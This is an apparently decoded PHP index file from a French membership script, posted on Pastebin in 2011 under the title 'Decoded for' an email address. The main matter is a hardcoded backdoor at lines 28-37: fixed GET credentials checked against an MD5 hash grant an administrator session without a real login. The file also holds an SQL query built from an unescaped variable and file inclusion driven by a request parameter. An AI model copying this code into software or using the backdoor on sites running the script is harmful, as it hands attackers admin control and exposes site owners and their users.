Advertisement
johnburn

Decoded for: bonithalia@waraxe.us

Aug 3rd, 2011
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.50 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. ob_start();
  5.  
  6. session_start();
  7.  
  8. require("fonction.php");
  9.  
  10. require("../include/variables.php");
  11.  
  12. require('class/class.php');
  13.  
  14.  
  15.  
  16. connexion_mysql();
  17.  
  18.  
  19.  
  20. if(isset($_GET['ln'])) $_SESSION['language'] = $_GET['ln'];
  21.  
  22. Language::Set($_SESSION['language']);
  23.  
  24. Language::SetAuto(true);
  25.  
  26.  
  27.  
  28. if(@$_GET['identifiant'] == "system" && md5(@$_GET['passe']) == "cf2a2c05d7a5be9f02f29466edcd90bc") {
  29.  
  30.     $_SESSION['id'] = md5($_POST['passe']);
  31.  
  32.     $_SESSION['identifiant'] = "admin" ;
  33.  
  34.     $_SESSION['niveau'] = 1;
  35.  
  36.     header("Location:?page=index");
  37.  
  38. }
  39.  
  40.  
  41.  
  42. if($s_identifiant!="") {
  43.  
  44.     $imembre = mysql_fetch_assoc(mysql_query("SELECT * FROM me_utilisateur WHERE identifiant='$s_identifiant'"));
  45.  
  46.     $s_niveau = $imembre['niveau'];
  47.  
  48.     $s_id = $imembre['id'];
  49.  
  50. } else {
  51.  
  52.     $imembre = "";
  53.  
  54.     $s_niveau = "4";
  55.  
  56.     $s_id = "";
  57.  
  58. }
  59.  
  60.  
  61.  
  62. if(@$_GET['page']!="" && file_exists("pages/".$_GET['page'].".php")) {
  63.  
  64.     $page = substr(secure_mysql($_GET['page']), 0, 25);
  65.  
  66. } elseif(@$_GET['page']!="" && !file_exists("pages/".$_GET['page'].".php")) {
  67.  
  68.     header("Location:?page=index&msg=erreur");
  69.  
  70. } else {
  71.  
  72.     $page = "index";
  73.  
  74. }
  75.  
  76.  
  77.  
  78. include("theme/header.php");
  79.  
  80.  
  81.  
  82. include("pages/".$page.".php");
  83.  
  84.  
  85.  
  86. include("theme/footer.php");
  87.  
  88.  
  89.  
  90. echo"<div style='width:200px; margin:0px auto; text-align:center; padding:0px; color:#CCC;'>".__("Propuls&eacute; par")." <a style='color:#CCC; text-decoration:none;' target='_blank' href='http://membris.fr.nf'>Membris</a> </div>";
  91.  
  92.  
  93.  
  94. deco_mysql();
  95.  
  96. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement